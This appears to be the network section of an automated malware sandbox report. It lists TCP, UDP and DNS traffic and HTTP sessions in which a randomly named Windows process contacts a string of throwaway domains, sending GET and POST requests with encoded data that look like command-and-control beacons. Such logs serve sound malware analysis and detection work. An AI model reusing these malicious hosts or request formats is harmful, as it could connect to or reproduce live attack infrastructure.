Nov 12, 2024 18:49:48.873547077 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.873586893 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.986753941 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.986814022 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.986829042 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.986855984 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.987135887 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987148046 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987179041 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.987513065 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987549067 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.987679958 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987694979 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987708092 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987720966 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.987729073 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.987756014 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.988522053 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.988533020 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.988543987 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.988555908 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.988574028 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.988599062 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.989447117 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989459991 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989473104 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989500046 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.989948034 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989965916 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989978075 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.989994049 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.990010023 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:48.990571022 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.990586042 CET	80	50032	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:48.990626097 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:49.706602097 CET	50032	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:50.725692987 CET	50033	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:50.730880976 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.730963945 CET	50033	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:50.743695974 CET	50033	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:50.748737097 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748758078 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748797894 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748809099 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748825073 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748867035 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748876095 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.748883963 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:50.749233007 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:52.253277063 CET	50033	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:52.259890079 CET	80	50033	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:52.261292934 CET	50033	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:53.272880077 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:53.278537035 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:53.278605938 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:53.285903931 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:53.292190075 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144273996 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144323111 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144337893 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144578934 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.144751072 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144864082 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.144875050 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.145157099 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.145168066 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.145179033 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.145183086 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.145193100 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.145205021 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.145263910 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.149571896 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.149682999 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.149696112 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.149817944 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.149974108 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.154486895 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.261312962 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.261447906 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.261461020 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.261661053 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.261761904 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.261965036 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.261977911 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262022972 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.262089014 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.262490988 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262504101 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262582064 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.262828112 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262840033 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262861013 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.262886047 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.262986898 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.263467073 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.263482094 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.263541937 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.263541937 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.375938892 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376025915 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376039982 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376291990 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376327038 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.376557112 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376569033 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376682997 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.376832962 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.376844883 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.377234936 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.377307892 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.377337933 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.377465963 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:54.377568007 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.383138895 CET	50034	80	192.168.2.4	203.161.46.201
Nov 12, 2024 18:49:54.388086081 CET	80	50034	203.161.46.201	192.168.2.4
Nov 12, 2024 18:49:59.443111897 CET	50035	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:49:59.448075056 CET	80	50035	104.21.4.93	192.168.2.4
Nov 12, 2024 18:49:59.448149920 CET	50035	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:49:59.458235979 CET	50035	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:49:59.463144064 CET	80	50035	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:00.376020908 CET	80	50035	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:00.395647049 CET	80	50035	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:00.395740986 CET	50035	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:00.971729994 CET	50035	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:01.990549088 CET	50036	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:01.995697975 CET	80	50036	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:01.995874882 CET	50036	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:02.005187988 CET	50036	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:02.010715961 CET	80	50036	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:02.924303055 CET	80	50036	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:02.925530910 CET	80	50036	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:02.925585032 CET	50036	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:03.518662930 CET	50036	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:04.537678003 CET	50037	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:04.543025017 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.543092012 CET	50037	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:04.555982113 CET	50037	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:04.560992002 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561007023 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561016083 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561028004 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561037064 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561113119 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561122894 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561131001 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:04.561141014 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:05.474466085 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:05.476428032 CET	80	50037	104.21.4.93	192.168.2.4
Nov 12, 2024 18:50:05.476478100 CET	50037	80	192.168.2.4	104.21.4.93
Nov 12, 2024 18:50:06.409132004 CET	50037	80	192.168.2.4	104.21.4.93

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 18:47:45.287169933 CET	59008	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:47:45.623090982 CET	53	59008	1.1.1.1	192.168.2.4
Nov 12, 2024 18:48:01.339469910 CET	63569	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:48:01.355490923 CET	53	63569	1.1.1.1	192.168.2.4
Nov 12, 2024 18:48:14.792143106 CET	61025	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:48:14.953794956 CET	53	61025	1.1.1.1	192.168.2.4
Nov 12, 2024 18:48:28.571721077 CET	60810	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:48:28.599922895 CET	53	60810	1.1.1.1	192.168.2.4
Nov 12, 2024 18:48:42.415400028 CET	51435	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:48:42.462253094 CET	53	51435	1.1.1.1	192.168.2.4
Nov 12, 2024 18:48:50.551559925 CET	49565	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:48:50.563182116 CET	53	49565	1.1.1.1	192.168.2.4
Nov 12, 2024 18:49:04.039165974 CET	65435	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:49:04.352847099 CET	53	65435	1.1.1.1	192.168.2.4
Nov 12, 2024 18:49:18.163832903 CET	53957	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:49:18.199767113 CET	53	53957	1.1.1.1	192.168.2.4
Nov 12, 2024 18:49:31.491574049 CET	61175	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:49:31.549094915 CET	53	61175	1.1.1.1	192.168.2.4
Nov 12, 2024 18:49:45.413805962 CET	63143	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:49:45.625206947 CET	53	63143	1.1.1.1	192.168.2.4
Nov 12, 2024 18:49:59.397672892 CET	58297	53	192.168.2.4	1.1.1.1
Nov 12, 2024 18:49:59.439289093 CET	53	58297	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 18:47:45.287169933 CET	192.168.2.4	1.1.1.1	0x892f	Standard query (0)	www.bookingservice.center	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:01.339469910 CET	192.168.2.4	1.1.1.1	0x195c	Standard query (0)	www.conansog.shop	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:14.792143106 CET	192.168.2.4	1.1.1.1	0x1a94	Standard query (0)	www.mycleanupfiesta.live	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:28.571721077 CET	192.168.2.4	1.1.1.1	0x7321	Standard query (0)	www.43kdd.top	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:42.415400028 CET	192.168.2.4	1.1.1.1	0xe3a	Standard query (0)	www.darkvader.xyz	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:50.551559925 CET	192.168.2.4	1.1.1.1	0x25ab	Standard query (0)	www.fitlook.shop	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:04.039165974 CET	192.168.2.4	1.1.1.1	0x2cc9	Standard query (0)	www.t19yd.top	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:18.163832903 CET	192.168.2.4	1.1.1.1	0xb322	Standard query (0)	www.qwibie.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:31.491574049 CET	192.168.2.4	1.1.1.1	0x760c	Standard query (0)	www.tempatmudisini06.click	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:45.413805962 CET	192.168.2.4	1.1.1.1	0xe65	Standard query (0)	www.smirpox.xyz	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:59.397672892 CET	192.168.2.4	1.1.1.1	0xebe2	Standard query (0)	www.nonpressure.beauty	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 18:47:45.623090982 CET	1.1.1.1	192.168.2.4	0x892f	No error (0)	www.bookingservice.center		98.124.224.17	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:01.355490923 CET	1.1.1.1	192.168.2.4	0x195c	No error (0)	www.conansog.shop		104.21.41.74	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:01.355490923 CET	1.1.1.1	192.168.2.4	0x195c	No error (0)	www.conansog.shop		172.67.162.12	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:14.953794956 CET	1.1.1.1	192.168.2.4	0x1a94	No error (0)	www.mycleanupfiesta.live		172.67.137.238	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:14.953794956 CET	1.1.1.1	192.168.2.4	0x1a94	No error (0)	www.mycleanupfiesta.live		104.21.38.192	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:28.599922895 CET	1.1.1.1	192.168.2.4	0x7321	No error (0)	www.43kdd.top	43kdd.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 18:48:28.599922895 CET	1.1.1.1	192.168.2.4	0x7321	No error (0)	43kdd.top		38.47.232.202	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:42.462253094 CET	1.1.1.1	192.168.2.4	0xe3a	Server failure (2)	www.darkvader.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:50.563182116 CET	1.1.1.1	192.168.2.4	0x25ab	No error (0)	www.fitlook.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:48:50.563182116 CET	1.1.1.1	192.168.2.4	0x25ab	No error (0)	www.fitlook.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:04.352847099 CET	1.1.1.1	192.168.2.4	0x2cc9	No error (0)	www.t19yd.top	t19yd.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 18:49:04.352847099 CET	1.1.1.1	192.168.2.4	0x2cc9	No error (0)	t19yd.top		38.47.207.164	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:18.199767113 CET	1.1.1.1	192.168.2.4	0xb322	No error (0)	www.qwibie.net	qwibie.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 18:49:18.199767113 CET	1.1.1.1	192.168.2.4	0xb322	No error (0)	qwibie.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:18.199767113 CET	1.1.1.1	192.168.2.4	0xb322	No error (0)	qwibie.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:31.549094915 CET	1.1.1.1	192.168.2.4	0x760c	No error (0)	www.tempatmudisini06.click	tempatmudisini06.click		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 18:49:31.549094915 CET	1.1.1.1	192.168.2.4	0x760c	No error (0)	tempatmudisini06.click		103.21.221.4	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:45.625206947 CET	1.1.1.1	192.168.2.4	0xe65	No error (0)	www.smirpox.xyz		203.161.46.201	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:59.439289093 CET	1.1.1.1	192.168.2.4	0xebe2	No error (0)	www.nonpressure.beauty		104.21.4.93	A (IP address)	IN (0x0001)	false
Nov 12, 2024 18:49:59.439289093 CET	1.1.1.1	192.168.2.4	0xebe2	No error (0)	www.nonpressure.beauty		172.67.131.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.bookingservice.center

www.conansog.shop

www.mycleanupfiesta.live

www.43kdd.top

www.fitlook.shop

www.t19yd.top

www.qwibie.net

www.tempatmudisini06.click

www.smirpox.xyz

www.nonpressure.beauty

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	98.124.224.17	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:47:45.642328024 CET	547	OUT	GET /rw0k/?SJLty=7Zsl8bAHqdkHEnH&C0oD=2O+BQtagKd2e0tCHf7cQEGpCdZEKMcu8KUvQppDq45CT9l+c4kN/Nkqe5cwEa/TPiwCfdT9AeaeBmqjtzD2yf/vyAaenMmGVr/csdah4RHR/FTYhQMTHjoI= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.bookingservice.center Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:47:46.267258883 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Tue, 12 Nov 2024 17:47:45 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 12, 2024 18:47:46.267323017 CET	218	IN	Data Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	104.21.41.74	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:01.374057055 CET	800	OUT	POST /4y21/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.conansog.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.conansog.shop Referer: http://www.conansog.shop/4y21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 4e 35 73 79 56 32 59 71 46 42 46 53 64 2f 7a 36 46 6b 67 43 55 44 39 46 50 64 78 42 55 4c 32 69 6d 76 69 4e 74 76 37 39 67 5a 43 65 79 44 4c 4e 44 52 4c 76 54 49 36 36 4c 4c 6c 45 76 70 66 47 48 66 69 6e 34 73 4a 69 73 74 67 42 76 41 78 6e 38 2b 7a 57 77 35 78 43 79 2f 70 38 6c 49 42 62 74 61 66 30 77 4d 43 79 44 35 39 63 58 46 44 6f 42 6e 6b 35 54 68 53 75 59 77 45 31 31 4f 4c 6f 30 53 70 31 37 48 35 4d 57 71 47 6b 76 47 45 30 34 71 4c 35 67 64 39 59 62 6d 44 54 75 76 58 78 78 4d 41 68 6e 46 54 63 51 74 43 73 46 75 37 67 38 38 55 4d 30 51 61 4e 41 37 33 4f 78 43 51 59 67 3d 3d Data Ascii: C0oD=rN5syV2YqFBFSd/z6FkgCUD9FPdxBUL2imviNtv79gZCeyDLNDRLvTI66LLlEvpfGHfin4sJistgBvAxn8+zWw5xCy/p8lIBbtaf0wMCyD59cXFDoBnk5ThSuYwE11OLo0Sp17H5MWqGkvGE04qL5gd9YbmDTuvXxxMAhnFTcQtCsFu7g88UM0QaNA73OxCQYg==
Nov 12, 2024 18:48:02.074147940 CET	746	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:01 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w3CLJ0OUc0gVY5HDmMZJNhjUcM5XcwVSIWPy6%2F1rbEpGeusG4hWG2vbb%2F8hwK%2FO5bo8%2BobPHJc5L69vwu8SOA4tGeTT9PXBjGG6lMKJzVBiLmhqHE%2FtC6W5aIdGg%2FJ8%2FJMPcug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1859bfda7f3458-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=800&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49770	104.21.41.74	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
